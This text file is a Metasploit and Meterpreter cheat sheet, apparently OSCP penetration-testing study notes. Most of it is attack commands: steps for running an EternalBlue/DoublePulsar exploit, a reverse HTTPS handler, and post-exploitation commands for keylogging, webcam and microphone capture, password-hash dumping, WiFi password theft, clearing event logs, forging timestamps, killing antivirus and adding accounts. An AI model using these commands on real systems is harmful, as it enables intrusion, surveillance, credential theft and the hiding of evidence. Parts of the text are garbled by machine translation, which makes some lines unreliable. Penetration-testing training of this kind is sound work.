Cheatsheet_Metasploit&Meterpreter.txt

See [*Metasploit Unleashed Course*](https://www.offensive-security.com/metasploit-unleashed/)

Search for exploits using Metasploit GitHub framework source code:
[*https://github.com/rapid7/metasploit-framework*](https://github.com/rapid7/metasploit-framework)
Translate them for use on OSCP LAB or EXAM.

Metasploit
MetaSploit requires Postfresql
`systemctl start postgresql`

To enable Postgresql on startup
`systemctl enable postgresql`

MSF Syntax
Start metasploit
`msfconsole  `
`msfconsole -q`


Show help for command
`show -h`


Show Auxiliary modules
`show auxiliary`


Use a module
`use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/http/webdav_scanner
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ftp/ftp_login
use exploit/windows/pop3/seattlelab_pass`


Show the basic information for a module
`info`


Show the configuration parameters for a module
`show options`


Set options for a module
`set RHOSTS 192.168.1.1-254
set THREADS 10`


Run the module
`run`


Execute an Exploit
`exploit`


Search for a module
`search type:auxiliary login`


Metasploit Database Access
Show all hosts discovered in the MSF database
`hosts`


Scan for hosts and store them in the MSF database
`db_nmap`


Search machines for specific ports in MSF database
`services -p 443`


Leverage MSF database to scan SMB ports (auto-completed rhosts)
`services -p 443 --rhosts`


You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue).  Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box.  I have never had much luck using the built in Metasploit EternalBlue module.  I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video:
https://www.youtube.com/watch?v=4OHLor9VaRI


1. First step is to configure the Kali to work with wine 32bit

`dpkg --add-architecture i386 && apt-get update && apt-get install wine32
rm -r ~/.wine
wine cmd.exe
exit`

2. Download the exploit repostory
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

4. Start metasploit console (spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.)

`use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
RHOST => 10.11.1.73
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
PROCESSINJECT => spoolsv.exe
msf exploit(eternalblue_doublepulsar) > run`



####Experimenting with Meterpreter####

Get system information from Meterpreter Shell
`sysinfo`

Get user id from Meterpreter Shell
`getuid`

Search for a file
`search -f *pass*.txt`

Upload a file
`upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec`

Download a file
`download c:\\Windows\\system32\\calc.exe /tmp/calc.exe`

Invoke a command shell from Meterpreter Shell
`shell`

Exit the meterpreter shell
`exit`

Metasploit Exploit Multi Handler
multi/handler to accept an incoming reverse\_https\_meterpreter

`payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/`


Building Your Own MSF Module
`mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp
/usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb
./crossfire.rb
nano crossfire.rb`


Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)
-   `download` Download a file or directory
`upload` Upload a file or directory
`portfwd` Forward a local port to a remote service
`route` View and modify the routing table
`keyscan_start` Start capturing keystrokes
`keyscan_stop` Stop capturing keystrokes
`screenshot` Grab a screenshot of the interactive desktop
`record_mic` Record audio from the default microphone for X seconds
`webcam_snap` Take a snapshot from the specified webcam
`getsystem` Attempt to elevate your privilege to that of local system.
`hashdump` Dumps the contents of the SAM database

---------------------------------------------------------------------------------------------------------------
####Materpreter Study Notes 

# Baisc system commands
background                  # placed in the background of the current session 
Sessions                    # Sessions to see -h help 
sessions -i <ID value>      # kill -k session into the session 
bgrun / RUN                 # implementation of the existing module, double-click the tab enter the run, has been                                   listed Some scripts 
info                        # View existing module information 
getuid                      # View current user identity 
getprivs                    # View current user permissions 
getpid                      # Get current process ID (PID) 
sysinfo                     # View target machine system information 
irb                         # Open ruby terminal 
ps                          # View is running Process     
kill <PID value>            # Kill the specified PID process 
idletime                    # View target idle time 
reboot / shutdown           # Restart / Shutdown 
shell                       # Enter target cmd shell

# Common cmd commands
Whoami                    # Current privilege 
quser                     # Query current online administrator 
net user                  # View existing user 
net user username/password/add                      # Add user and corresponding password 
net localgroup User group name username/add         # Add the specified user to the specified user group 
netstat -ano              # Query the current network connection communication in the computer, LISTENING indicates                               that the port is in the listening state; ESTABLISHED indicates that the port is in the                               working (communication) state 
systeminfo                # View the details of the current computer 
tasklist /svc             # View each process corresponding to services 
taskkill / f / im program name                      # name of the end of a specified program 
taskkill / f / PID ID                               # end of a specified process PID 
tasklist | findstr "string"                         # Find content specified output 
logoff                                              # cancellation of a Specify the user's ID 
shutdown -r                                         # Restart the current computer 
netsh adcfirewall setAllprofiles state off          # Turn off the firewall

# Uictl switch keyboard / mouse
Uictl [ enable/disable ]  [ keyboard/mouse/all ]   # enable or disable keyboard/mouse 
uictl disable mouse       # disable mouse 
uictl disable keyboard    # disable keyboard

# Execute executable file
the Execute # executable file on the target machine 
execute -H -i -f cmd.exe create a new process cmd.exe #, -H invisible, -i interactive 
execute -H -m -d notepad.exe -f payload.exe - a "-o hack.txt" 
# -d Process name displayed during execution of the target host (for masquerading) -m Direct execution from memory 
"-o hack.txt" is the running parameter of payload.exe

# Migrate process migration
Getpid          # Get the current process's pid 
ps              # View the current active process 
migrate <pid value>     # Migrate the Meterpreter session to the specified pid value in the process 
kill <pid value>        #kill the process

# Clearav clear log
Clearav   # Clear application logs, system logs, security logs in windows

# Timestomp forged timestamp
Timestomp C: \\ -h    
View help timestomp -v C: \\ 2 .txt    
View timestamp timestomp C: \\ 2 .txt -f C: \\ 1 .txt #Copy the timestamp of 1.txt Give 
2. txt timestomp c: \\ test \\ 22 .txt -z "03/10/2019 11:55:55" -v # Set the four properties to uniform time

# Portfwd port forwarding
Portfwd add -l 1111 -p 3389 -r 127 .0.0.1 #Forward the 3389 port of the target machine to the local port 1111 
rdesktop 127 .0.0.1:1111 # Need to enter the username and password to connect 
rdesktop -u Administrator -p 123  127 .0.0.1:1111 # -u username -p password


# Autoroute add route
run autoroute -h # View help 
run get_local_subnets # View target intranet segment address 
run autoroute -s 192 .168.183.0/24   # Add target network segment route 
run autoroute -p   # View added route
run post/windows/gather/arp_scanner RHOSTS = 192 .168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS = 192 .168.183.146 PORTS = 3389

# Socks agent
Reference: https://www.freebuf.com/articles/network/125278.html
use auxiliary/server/socks4a
 set srvhost 127 .0.0.1
 set srvport 2000
run

# Common script
Run arp_scanner -r 192 .168.183.1/24   # Use arp for surviving host scan 
run winenum   # automate some detection scripts 
run credcollect # get user hash 
run domain_list_gen   # get domain management account list 
run post/multi/gather/env   # get User environment variable 
run post/windows/gather/enum_logged_on_users -c   # List current login user 
run post/linux/gather/checkvm   # virtual machine 
run post/windows/gather/checkvm   # virtual machine 
run post/windows/gather/ Forensics/enum_drives   # View memory information 
run post/windows/gather/enum_applications   # Get installation software information 
run post/windows/gather/dumplinks    # Get recently accessed documents, link information 
run post/windows/gather/enum_ie  # Get IE cache 
run post/windows/gather/enum_firefox   # Get firefox cache 
run post/windows/gather/enum_chrome    # Get Chrome cache 
run post/multi/recon/local_exploit_suggester   # Get local privilege vulnerability 
run post/windows/gather/enum_patches   # Get patch information 
run post/windows/gather/enum_domain   # Find domain control 
run post/windows/gather/enum_snmp   # Get snmp community name 
run post/windows/gather/credentials/vnc   # Get vnc password 
run post/windows/wlan/ Wlan_profile   # Used to read the target host WiFi password 
run post/multi/gather/wlan_geolocate # Based on wlan, the location confirmation file is located at /root/.msf4/loot
run post/windows/manage/killav close antivirus software

# Common crack module 
Auxiliary/scanner/mssql/mssql_login
Auxiliary/scanner/ftp/ftp_login
Auxiliary/scanner/ssh/ssh_login
Auxiliary/scanner/telnet/telnet_login
Auxiliary/scanner/smb/smb_login
Auxiliary/scanner/mssql/mssql_login
Auxiliary/scanner/mysql/mysql_login
Auxiliary/scanner/oracle/oracle_login
Auxiliary/scanner/postgres/postgres_login
Auxiliary/scanner/vnc/vnc_login
Auxiliary/scanner/pcanywhere/pcanywhere_login
Auxiliary/scanner/snmp/snmp_login
Auxiliary/scanner/ftp/anonymous

# Keylogger
Keyscan_start   # Start key record 
keyscan_dump    # Export record data 
keyscan_stop    # End key record

# Sniffer capture package
Use sniffer
Sniffer_interfaces    # View NIC 
sniffer_start 1    # Select NIC 1 to start capturing 
sniffer_stats 1    # View NIC 1 status 
sniffer_dump 1 /tmp/wlan1.pcap   # Export pcap packet 
sniffer_stop 1    # Stop NIC 1 capture 
sniffer_release 1  # Release NIC 1 traffic

# Webcam
record_mic　  # audio recording 
webcam_chat   # open a video chat (the other party pop) 
webcam_list   # view camera 
webcam_snap   # through the camera to take pictures 
webcam_stream   # open by video surveillance cameras (to monitor ≈ live as a web page)

# Screen capture 
Screenshot   # Screenshots 
use espia   # Use espia module 
screengrab   # screenshot

# Getgui command
run getgui –h   # View help 
run getgui -e   # Open remote desktop 
run getgui -u admin -p admin   # Add user 
run getgui -f 6666 -e   # 3389 port forward to 6666


---------------------------------------------------------------------------------------------------------------
CORE COMMANDS 
? - help menu
background - moves the current session to the background
bgkill - kills a background meterpreter script
bglist - provides a list of all running background scripts
bgrun - runs a script as a background thread
channel - displays active channels
close - closes a channel
exit - terminates a meterpreter session
help - help menu
interact - interacts with a channel
irb - go into Ruby scripting mode
migrate - moves the active process to a designated PID
quit - terminates the meterpreter session
read - reads the data from a channel
run - executes the meterpreter script designated after it
use - loads a meterpreter extension
write - writes data to a channel

FILE SYSTEM COMMANDS
cat - read and output to stdout the contents of a file
cd - change directory on the victim
del - delete a file on the victim
download - download a file from the victim system to the attacker system
edit - edit a file with vim
getlwd - print the local directory
getwd - print working directory
lcd - change local directory
lpwd - print local directory
ls - list files in current directory
mkdir - make a directory on the victim system
pwd - print working directory
rm - delete a file
rmdir - remove directory on the victim system
upload - upload a file from the attacker system to the victim

NETWORK COMMANDS
ipconfig - displays network interfaces with key information including IP address, etc.
portfwd - forwards a port on the victim system to a remote service
route - view or modify the victim routing table

SYSTEM COMMANDS 
clearav - clears the event logs on the victim's computer
drop_token - drops a stolen token
execute - executes a command
getpid - gets the current process ID (PID)
getprivs - gets as many privileges as possible
getuid - get the user that the server is running as
kill - terminate the process designated by the PID
ps - list running processes
reboot - reboots the victim computer
reg - interact with the victim's registry
rev2self - calls RevertToSelf() on the victim machine
shell - opens a command shell on the victim machine
shutdown - shuts down the victim's computer
steal_token - attempts to steal the token of a specified (PID) process
sysinfo - gets the details about the victim computer such as OS and name

User Interface Commands
enumdesktops - lists all accessible desktops
getdesktop - get the current meterpreter desktop
idletime - checks to see how long since the victim system has been idle
keyscan_dump - dumps the contents of the software keylogger
keyscan_start - starts the software keylogger when associated with a process such as Word or browser
keyscan_stop - stops the software keylogger
screenshot - grabs a screenshot of the meterpreter desktop
set_desktop - changes the meterpreter desktop
uictl - enables control of some of the user interface components

PRIVILAGE ESCALATION COMMANDS
getsystem - uses 15 built-in methods to gain sysadmin privileges

PASSWORD DUMP COMMAND
hashdump - grabs the hashes in the password (SAM) file

TIMESTOMP COMMAND 
timestomp - manipulates the modify, access, and create attributes of a file